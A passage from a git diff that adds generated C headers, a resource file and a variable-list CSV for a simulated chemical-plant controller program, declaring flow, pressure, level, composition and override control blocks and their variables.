__DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; 